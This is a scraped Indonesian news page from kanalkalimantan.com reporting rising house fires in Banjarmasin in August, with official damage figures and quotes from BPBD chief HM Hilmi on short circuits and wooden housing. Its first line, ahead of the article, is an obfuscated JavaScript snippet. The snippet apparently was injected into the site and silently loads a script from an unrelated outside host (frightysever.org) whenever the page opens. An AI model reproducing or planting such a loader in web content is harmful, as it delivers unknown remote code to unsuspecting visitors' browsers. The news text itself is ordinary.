(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Kasus kebakaran di Banjarmasin meningkat memasuki puncak musim kemarau. Data yang didapat kanalkalimantan.com dari Badan Penanggulangan Bencana Daerah (BPBD) Kota Banjarmasin, tercatat sedikitnya 7 kasus kebakaran rumah terjadi di kota seribu sungai selama Agustus ini.
Kebakaran diantaranya terjadi di kawasan Seberang Mesjid Banjarmasin pada 2 Agustus, lalu di Belitung Selatan pada 17 Agustus, dan kebakaran di Alalak Selatan pada 21 Agustus lalu.
Kebakaran pemukiman sepanjang bulan Agustus sendiri, mengakibatkan 118 kepala keluarga dan 363 jiwa kehilangan tempat tinggal, dengan kerugian ditaksir lebih sebesar Rp 19 miliar. Selain itu, tercatat sebanyak 72 buah bangunan mengalami kerusakan, dengan rincian 50 bangunan rusak total, 7 bangunan rusak berat, 10 bangunan rusak sedang, serta 5 bangunan rusak ringan.
“Yang paling banyak menelan kerugian yaitu di bulan Agustus, artinya frekuensi kebakaran meningkat dan kualitas terdampak lebih banyak daripada bulan-bulan lalu,” ucap Kepala Pelaksana BPBD Banjarmasin HM Hilmi, saat ditemui pada Senin (26/8) pagi.
Hilmi mengakui, sebagian besar kasus kebakaran pemukiman yang terjadi di kota Banjarmasin diakibatkan oleh korsleting listrik. “Seperti kejadian di Basirih lalu, kebakaran terjadi saat rumah dalam keadaan kosong. Berdasarkan informasi yang dihimpun dari tetangga, rumah tersebut dalam keadaan kosong namun listrik tetap nyala,” ujar Hilmi.
Dirinya juga menekankan, perlu adanya kesepakatan bersama di lingkungan masyarakat, jika mengetahui ada sebuah rumah yang kosong ditinggal pemiliknya, namun masih dialiri listrik, agar meteran listrik segera dimatikan. Tindakan ini dirasa perlu, guna mencegah terjadinya korsleting listrik, apalagi jika di dalam rumah masih terdapat peralatan elektronik.
Ketika ditanya material rumah yang terdampak kebakaran pemukiman beberapa waktu terakhir, Hilmi mengatakan sebagian besar rumah yang terdampak kebakaran terbuat dari kayu. Sehingga, berpotensi merembet ke pemukiman lainnya. “Dari kasus kebakaran di bulan ini di kawasan Alalak, Belitung Selatan sebanyak dua kali, dan terakhir di Alalak Selatan, sebagian besar terbuat dari kayu,” kata Hilmi.
Lantas, bagaimana langkah BPBD Kota Banjarmasin dalam upaya mitigasi musibah kebakaran? “Untuk mitigasi bencana, kita gencar mengadakan sosialisasi bersama rekan-rekan Pemadam Kebakaran untuk pencegahan itu (kebakaran pemukiman),” tutup Hilmi. (gfn)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.